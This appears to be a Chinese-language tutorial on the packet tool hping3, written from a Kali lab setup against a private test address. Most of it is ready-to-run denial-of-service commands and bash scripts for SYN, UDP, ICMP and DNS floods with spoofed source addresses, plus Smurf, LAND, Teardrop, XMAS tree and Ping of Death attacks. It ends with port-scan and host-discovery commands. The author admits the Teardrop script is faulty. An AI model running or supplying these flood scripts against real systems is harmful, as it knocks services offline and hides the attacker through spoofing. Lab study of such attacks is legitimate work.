hping3使用介绍 端口扫描 sudo hping3 -I eth1 -S 192.168.180.133 -p 80 SYN Flood 默认协议:tcp 默认端口:随机 默认源地址:攻击者本机IP地址 # 通过eth1,发送SYN报文到 192.168.180.133:80。伪造源地址为192.168.180.131,时间间隔1000us。 sudo hping3 -I eth1 -S 192.168.180.133 -p 80 -a 192.168.180.131 -i u1000 # 通过eth1,发送SYN报文到192.168.180.133:80,伪造随机源地址,时间间隔1000us。 sudo hping3 -I eth1 -S 192.168.180.133 -p 80 --rand-source -i u1000 # 通过 eth1,发送SYN报文到192.168.180.133:80,伪造随机源地址,洪水攻击。 # 洪水攻击,速率最快的攻击,不会显示数据和丢包的统计。 sudo hping3 -I eth1 -S 192.168.180.133 -p 80 --rand-source --flood sudo hping3 -c 1000 -d 120 -S -p 80 --flood --rand-source 192.168.180.133 sudo hping3 -S -P -U -p 80 --flood --rand-source 192.168.180.133 TCP Flood sudo hping3 -SARUPF -p 80 --flood --rand-source 192.168.180.133 UDP Flood # 发送udp报文到192.168.180.133:80 sudo hping3 --udp 192.168.180.133 -p 80 # 发送 udp 报文 到 192.168.1.1:80。伪造随机源地址,洪水攻击。 sudo hping3 --udp 192.168.180.133 -p 80 --rand-source --flood sudo hping3 --udp -s 6666 -p 53 -a 29.29.29.29 --flood 192.168.180.133 ICMP Flood # 发送icmp报文到192.168.180.133 sudo hping3 --icmp 192.168.180.133 # 发送icmp报文到192.168.180.133,伪造随机源IP地址,供水攻击 sudo hping3 --icmp 192.168.180.133 --rand-source --flood sudo hping3 -q -n -d 200 --icmp --flood -a 28.28.28.28 192.168.180.133 DNS Flood # 发送udp报文到192.168.180.133:53 伪造随机源IP地址,洪水攻击 sudo hping3 --udp 192.168.180.133 -p 53 --rand-source --flood Teardrop攻击 基于hping3的测试脚本 #!/bin/bash function teardrop() { local victim_ip=$1 local id_begin=$2 local id_end=$3 for(( id=${id_begin}; id<${id_end}; id++)) do hping3 --icmp ${victim_ip} --data 1000 --id ${id} --count 1 --morefrag hping3 --icmp ${victim_ip} --data 200 --id ${id} --count 1 --fragoff 400 done } teardrop $* 上述脚本测试有问题 Smurf攻击 保存成shell脚本执行格式如下: sudo ./smurf.sh 192.168.180.133 192.168.180.2 #!/bin/bash function smurf ( ) { local victim_ip=$1 local broadcast_ip=$2 hping3 --icmp ${broadcast_ip} -a ${victim_ip} --flood } smurf $* 手动测试 sudo hping3 -1 -a 192.168.180.133 192.168.180.255 XMAS TREE攻击 sudo hping3 -SFRP 192.168.180.133 LAND攻击 LAND攻击方式采用了特别构造的TCP SYN数据包(通常用于开启一个新的连接),使目标机器开启一个源地址与目标地址均为自身IP地址的空连接,持续地自我应答,消耗系统资源直至崩溃,这种攻击方法与SYN洪泛攻击并不相同 将下面代码保存为land.sh #!/bin/bash function land() { local victim_ip=$1 local victim_port=$2 hping3 -S ${victim_ip} -p ${victim_port} -a ${victim_ip} --flood } land $* 执行:sudo ./landhping3.sh 192.168.180.133 80 手动执行:sudo hping3 -n -S -p 80 -a 192.168.180.133 --flood 192.168.180.133 Ping of Death俗称"死ping" 其攻击原理是攻击者A向受害者B发送一些尺寸超大的ICMP(Ping命令使用的是ICMP报文)报文对其进行攻击(对于有些路由器或系统,在接收到一个这样的报文后,由于处理不当,会造成系统崩溃、死机或重启) 将下面代码保存为pingofdeath.sh #!/bin/bash function ping_of_death() { local victim_ip=$1 local id=186 local data_size=1450 let icmp_size=${data_size}+8 hping3 --icmp ${victim_ip} --data ${data_size} --id ${id} --count 1 --morefrag for i in $(seq 50) do let offset=${i}*${icmp_size} hping3 --icmp ${victim_ip} --data ${data_size} --id ${id} --count 1 --morefrag --fragoff $offset done } ping_of_death $* 执行:sudo ./pingofdeath.sh 192.168.180.133 ICMP测试 sudo hping3 -1 192.168.180.133 数据包跟踪 sudo hping3 --traceroute -V -1 www.qq.com 端口扫描 单端口扫描 sudo hping3 -I eth1 -p 22 -c 1 -S 192.168.180.133 返回的信息中含有flags=SA 表示端口是通的 SYN+ACK ,如果返回flags=RA 则表示端口不通 多端口扫描 sudo hping3 -I eth1 -8 1-1024 192.168.180.133 返回结果如下: kali@kali:~/Downloads/ddos/hping3test$ sudo hping3 -I eth1 -8 1-1024 192.168.180.133 Scanning 192.168.180.133 (192.168.180.133), port 1-1024 1024 ports to scan, use -V to see all the replies +----+-----------+---------+---+-----+-----+-----+ |port| serv name | flags |ttl| id | win | len | +----+-----------+---------+---+-----+-----+-----+ All replies received. Done. Not responding ports: (21 ftp) (22 ssh) (23 telnet) (25 smtp) (53 domain) (80 http) (111 sunrpc) (139 netbios-ssn) (445 microsoft-d) (512 exec) (513 login) (514 shell) 主机发现 for addr in $(seq 1 254);do hping3 192.168.180.$addr -c 1 --icmp >> result.txt & done 参考: https://wp.baijinming.com/00/id=2576.html https://man.linuxde.net/hping3 https://www.cnblogs.com/liuxinyustu/articles/12808972.html https://mochazz.github.io/2017/07/23/hping3/ http://www.legendwolf.com/?id=57